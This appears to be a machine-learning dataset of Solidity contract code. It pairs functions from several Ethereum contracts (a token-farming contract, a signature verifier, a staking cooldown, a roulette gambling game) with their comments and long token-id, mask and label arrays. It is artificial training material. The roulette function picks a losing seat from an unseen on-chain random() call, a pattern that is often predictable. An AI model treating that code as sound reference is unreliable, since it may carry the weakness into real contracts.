) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// Copyright (c) 2018 Tasuku Nakamura
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract checks if a message has been signed by a verified signer via personal_sign.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.8.0;
library SignatureVerifier {
function verify(
address signer,
address account,
uint256[] calldata ids,
bytes calldata signature
) external pure returns (bool) {
bytes32 messageHash = getMessageHash(account, ids);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == signer;
}
function verify(
address signer,
uint256 id,
address[] calldata accounts,
bytes calldata signature
) external pure returns (bool) {
bytes32 messageHash = getMessageHash(id, accounts);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == signer;
}
function getMessageHash(address account, uint256[] memory ids) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(account, ids));
}
function getMessageHash(uint256 id, address[] memory accounts) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(id, accounts));
}
function getEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash));
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
internal
pure
returns (address)
{
(bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
return ecrecover(_ethSignedMessageHash, v, r, s);
}
function splitSignature(bytes memory signature)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
require(signature.length == 65, "invalid signature length");
//solium-disable-next-line
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import "../deps/GamifiedTokenStructs.sol";
interface IQuestManager {
event QuestAdded(
address questMaster,
uint256 id,
QuestType model,
uint16 multiplier,
QuestStatus status,
uint32 expiry
);
event QuestCompleteQuests(address indexed user, uint256[] ids);
event QuestCompleteUsers(uint256 indexed questId, address[] accounts);
event QuestExpired(uint16 indexed id);
event QuestMaster(address oldQuestMaster, address newQuestMaster);
event QuestSeasonEnded();
event QuestSigner(address oldQuestSigner, address newQuestSigner);
event StakedTokenAdded(address stakedToken);
// GETTERS
function balanceData(address _account) external view returns (QuestBalance memory);
function getQuest(uint256 _id) external view returns (Quest memory);
function hasCompleted(address _account, uint256 _id) external view returns (bool);
function questMaster() external view returns (address);
function seasonEpoch() external view returns (uint32);
// ADMIN
function addQuest(
QuestType _model,
uint8 _multiplier,
uint32 _expiry
) external;
function addStakedToken(address _stakedToken) external;
function expireQuest(uint16 _id) external;
function setQuestMaster(address _newQuestMaster) external;
function setQuestSigner(address _newQuestSigner) external;
function startNewQuestSeason() external;
// USER
function completeUserQuests(
address _account,
uint256[] memory _ids,
bytes calldata _signature
) external;
function completeQuestUsers(
uint256 _questId,
address[] memory _accounts,
bytes calldata _signature
) external;
function checkForSeasonFinish(address _account) external returns (uint8 newQuestMultiplier);
}
|
* @dev Ends the cooldown of the sender and give them back their full voting power. This can be used to signal that the user no longer wishes to exit the system. Note, the cooldown can also be reset, more smoothly, as part of a stake or withdraw transaction./
|
function endCooldown() external {
require(_balances[_msgSender()].cooldownTimestamp != 0, "No cooldown");
_exitCooldownPeriod(_msgSender());
emit CooldownExited(_msgSender());
}
| 1,746,048 |
[
1,
24980,
326,
27367,
2378,
434,
326,
5793,
471,
8492,
2182,
1473,
3675,
1983,
331,
17128,
7212,
18,
1220,
848,
506,
1399,
358,
4277,
716,
326,
729,
1158,
7144,
14302,
281,
358,
2427,
326,
2619,
18,
3609,
16,
326,
27367,
2378,
848,
2546,
506,
2715,
16,
1898,
11957,
715,
16,
487,
1087,
434,
279,
384,
911,
578,
598,
9446,
2492,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
679,
39,
1371,
2378,
1435,
3903,
288,
203,
3639,
2583,
24899,
70,
26488,
63,
67,
3576,
12021,
1435,
8009,
71,
1371,
2378,
4921,
480,
374,
16,
315,
2279,
27367,
2378,
8863,
203,
203,
3639,
389,
8593,
39,
1371,
2378,
5027,
24899,
3576,
12021,
10663,
203,
203,
3639,
3626,
385,
1371,
2378,
6767,
329,
24899,
3576,
12021,
10663,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1c73E16b68933Ae54664B04559C030E5136F823e/sources/Ruletka.sol
|
Check if room roomId is full before spinning revolver’s cylinder...
|
function executeRoom(uint256 _roomId) public {
require(room.players.length == 6);
uint256 halfFee = room.entryPrice / 20;
CTO.transfer(halfFee);
CEO.transfer(halfFee);
room.balance -= halfFee * 2;
uint256 deadSeat = random();
distributeFunds(_roomId, deadSeat);
delete room.players;
}
| 9,310,421 |
[
1,
1564,
309,
7725,
7725,
548,
225,
353,
1983,
1865,
12490,
2093,
5588,
10521,
163,
227,
252,
87,
27331,
14055,
2777,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1836,
13646,
12,
11890,
5034,
389,
13924,
548,
13,
1071,
288,
203,
540,
203,
540,
203,
3639,
2583,
12,
13924,
18,
1601,
414,
18,
2469,
422,
1666,
1769,
203,
540,
203,
3639,
2254,
5034,
8816,
14667,
273,
7725,
18,
4099,
5147,
342,
4200,
31,
203,
3639,
385,
4296,
18,
13866,
12,
20222,
14667,
1769,
203,
3639,
29538,
51,
18,
13866,
12,
20222,
14667,
1769,
203,
3639,
7725,
18,
12296,
3947,
8816,
14667,
380,
576,
31,
203,
540,
203,
3639,
2254,
5034,
8363,
1761,
270,
273,
2744,
5621,
203,
540,
203,
3639,
25722,
42,
19156,
24899,
13924,
548,
16,
8363,
1761,
270,
1769,
203,
540,
203,
3639,
1430,
7725,
18,
1601,
414,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Socials
// Telegram: https://t.me/polycowfinance
// Twitter: https://twitter.com/polycow1
// Github: https://github.com/polycow-finance
// Websie: https://www.polycow.finance/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import './utils/ReentrancyGuard.sol';
import './libs/SafeBEP20.sol';
import './Milk.sol';
// MasterCow is the master of Milk. He can make Milk and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once Milk is sufficiently
// distributed and the community can show to govern itself.
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterCow is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of Milk
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accMilkPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accMilkPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Milk to distribute per block.
uint256 lastRewardBlock; // Last block number that Milk distribution occurs.
uint256 accMilkPerShare; // Accumulated Milk per share, times 1e18. See below.
uint16 depositFeeBP; // Deposit fee in basis points
}
// The Milk Token!
Milk public milk;
address public devAddress;
address public feeAddress;
// Milk tokens created per block. 0.05 Milk / Block
uint256 public constant BASE = 5;
uint256 public constant TEN = 10;
uint256 public constant HUNDRED = 100;
uint256 public milkPerBlock;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when Milk mining starts.
uint256 public startBlock;
// Max deposit fee: 4%.
uint16 public constant MAXIMUM_DEPOSIT_FEE_BP = 400;
// Pool Exists Mapper
mapping(IBEP20 => bool) public poolExistence;
modifier nonDuplicated(IBEP20 _lpToken) {
require(!poolExistence[_lpToken], 'MasterCow: nonDuplicated: duplicated');
_;
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetFeeAddress(address indexed user, address indexed newAddress);
event SetDevAddress(address indexed user, address indexed newAddress);
event UpdateEmissionRate(address indexed user, uint256 YeldPerBlock);
constructor(
Milk _milk,
address _devAddress,
address _feeAddress
) public {
milk = _milk;
milkPerBlock = BASE.mul(TEN**milk.decimals()).div(HUNDRED);
startBlock = block.number + 43200;
devAddress = _devAddress;
feeAddress = _feeAddress;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool withUpdate) external onlyOwner nonDuplicated(_lpToken) {
require(_depositFeeBP <= MAXIMUM_DEPOSIT_FEE_BP, 'MasterCow: add: invalid deposit fee basis points');
if (withUpdate){
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolExistence[_lpToken] = true;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accMilkPerShare: 0,
depositFeeBP: _depositFeeBP
}));
}
// Update the given pool's Milk allocation point and deposit fee. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, bool withUpdate) external onlyOwner {
require(_depositFeeBP <= MAXIMUM_DEPOSIT_FEE_BP, 'MasterCow: set: invalid deposit fee basis points');
if(withUpdate){
massUpdatePools();
}
totalAllocPoint = (totalAllocPoint.add(_allocPoint)).sub(poolInfo[_pid].allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
poolInfo[_pid].depositFeeBP = _depositFeeBP;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) {
return _to.sub(_from);
}
// View function to see pending Milk on frontend.
function pendingMilk(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accMilkPerShare = pool.accMilkPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 milkReward = multiplier.mul(milkPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accMilkPerShare = accMilkPerShare.add(milkReward.mul(1e18).div(lpSupply));
}
return user.amount.mul(accMilkPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
for (uint256 pid = 0; pid < poolInfo.length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 milkReward = multiplier.mul(milkPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
milk.mint(devAddress, milkReward.div(10));
milk.mint(address(this), milkReward);
pool.accMilkPerShare = pool.accMilkPerShare.add(milkReward.mul(1e18).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterCow for Milk allocation.
function deposit(uint256 _pid, uint256 _amount) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
updatePool(_pid);
// harvest before deposit new amount
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accMilkPerShare).div(1e18).sub(user.rewardDebt);
if (pending > 0) {
safeMilkTransfer(_msgSender(), pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(_msgSender()), address(this), _amount);
if (pool.depositFeeBP > 0) {
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
} else {
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accMilkPerShare).div(1e18);
emit Deposit(_msgSender(), _pid, _amount);
}
// Withdraw LP tokens from MasterCow.
function withdraw(uint256 _pid, uint256 _amount) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
require(user.amount >= _amount, 'MasterCow: withdraw: not good');
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accMilkPerShare).div(1e18).sub(user.rewardDebt);
if (pending > 0) {
safeMilkTransfer(_msgSender(), pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(_msgSender(), _amount);
}
user.rewardDebt = user.amount.mul(pool.accMilkPerShare).div(1e18);
emit Withdraw(_msgSender(), _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(_msgSender(), amount);
emit EmergencyWithdraw(_msgSender(), _pid, amount);
}
// Safe Milk transfer function, just in case if rounding error causes pool to not have enough Milks.
function safeMilkTransfer(address _to, uint256 _amount) internal {
uint256 milkBalance = milk.balanceOf(address(this));
bool transferSuccess = _amount > milkBalance ? milk.transfer(_to, milkBalance) : milk.transfer(_to, _amount);
require(transferSuccess, 'MasterCow: safeMilkTransfer: Transfer failed');
}
// Update dev address by the previous dev.
function setDevAddress(address devAddress_) public {
require(_msgSender() == devAddress, 'MasterCow: setDevAddress: Only dev can set');
devAddress = devAddress_;
emit SetDevAddress(_msgSender(), devAddress_);
}
function setFeeAddress(address feeAddress_) public {
require(_msgSender() == feeAddress, 'MasterCow: setFeeAddress: Only feeAddress can set');
feeAddress = feeAddress_;
emit SetFeeAddress(_msgSender(), feeAddress_);
}
function updateEmissionRate(uint256 _milkPerBlock) external onlyOwner {
massUpdatePools();
milkPerBlock = _milkPerBlock;
emit UpdateEmissionRate(_msgSender(), _milkPerBlock);
}
function updateStartBlock(uint256 startBlock_) public onlyOwner {
require(startBlock_ > block.number, 'MasterCow: updateStartBlock: No timetravel allowed!');
startBlock = startBlock_;
}
}
|
Milk tokens created per block. 0.05 Milk / Block
|
uint256 public constant BASE = 5;
| 968,585 |
[
1,
49,
330,
79,
2430,
2522,
1534,
1203,
18,
374,
18,
6260,
490,
330,
79,
342,
3914,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
5381,
10250,
273,
1381,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
